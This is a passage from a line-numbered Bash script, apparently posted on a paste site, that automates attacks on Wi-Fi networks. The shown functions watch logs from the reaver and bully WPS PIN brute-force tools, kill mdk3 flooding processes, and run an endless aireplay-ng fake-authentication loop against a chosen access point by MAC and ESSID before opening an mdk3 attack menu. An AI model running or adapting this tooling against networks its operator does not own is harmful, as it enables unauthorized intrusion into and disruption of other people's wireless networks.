  777. KILL_ALL_MDK3_EMULATORS_1=`ps -n 2>/dev/null|cut -d ' ' -f1,2,3,4,5,6,7,8,9,11,12,13,14,15|grep 'bash -c while :;do'|cut -d ' ' -f1|tr -s [:space:] ' '`
  778. ##for i in $KILL_ALL_MDK3_EMULATORS_1 ; do
  779. ##kill -9 "$i" &>/dev/null ;
  780. ##kill -9 "$i" &>/dev/null ;
  781. ##done
  782. ##KILL_ALL_MDK3_EMULATORS_1=`ps -n 2> /dev/null|cut -d ' ' -f1,2,3,4,5,6,7,8,9,11,12,13,14,15|grep 'bash -c while :;do'|cut -d ' ' -f2|tr -s [:space:] ' '`
  783. ##for i in $KILL_ALL_MDK3_EMULATORS_1 ; do
  784. ##kill -9 "$i" &>/dev/null ;
  785. ##kill -9 "$i" &>/dev/null ;
  786. ##done
  787. killall mdk3 2>/dev/null
  788. fi
  789. done
  790. }
  791.  
  792. ########################################################################################################################
  793. function TAIL_FOR_REAVER {
  794. while :; do
  795. clear
  796. timeout 10 tail -n 100 -f /etc/reaver_tmp.txt 2>/dev/null;
  797. clear
  798. sleep 1;
  799. AIREPLAY_RESET=`cat '/etc/aireplay_tmp.txt'|grep -w 'Switching to shared key authentication'`
  800. if [ -n "$AIREPLAY_RESET" ]; then
  801. killall aireplay-ng
  802. fi
  803. timeout 5 tail -n 100 -f /etc/aireplay_tmp.txt 2>/dev/null
  804. done
  805. }
  806. ###########################################################################
  807. function TAIL_FOR_BULLY {
  808. while :; do
  809. clear
  810. timeout 10 tail -n 100 -f /etc/bully_tmp.txt 2>/dev/null;
  811. clear
  812. sleep 1;
  813. AIREPLAY_RESET=`cat '/etc/aireplay_tmp.txt'|grep -w 'Switching to shared key authentication'`
  814. if [ -n "$AIREPLAY_RESET" ]; then
  815. killall aireplay-ng
  816. fi
  817. timeout 5 tail -n 100 -f /etc/aireplay_tmp.txt 2>/dev/null
  818. done
  819. }
  820. ###########################################################################
  821. function AIREPLAY {
  822. while :; do
  823. aireplay-ng $MON1 -1 100000000 -a "$MAC" -e "$ESSID" -Q -q3 2>>/dev/null| tee /etc/aireplay_tmp.txt >/dev/null;
  824. echo "Please Wait..." >> /etc/aireplay_tmp.txt 2>/dev/null
  825. sleep 1;
  826. done
  827. }
  828. ###########################################################################
  829. MDK3_MAIN_MENU
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement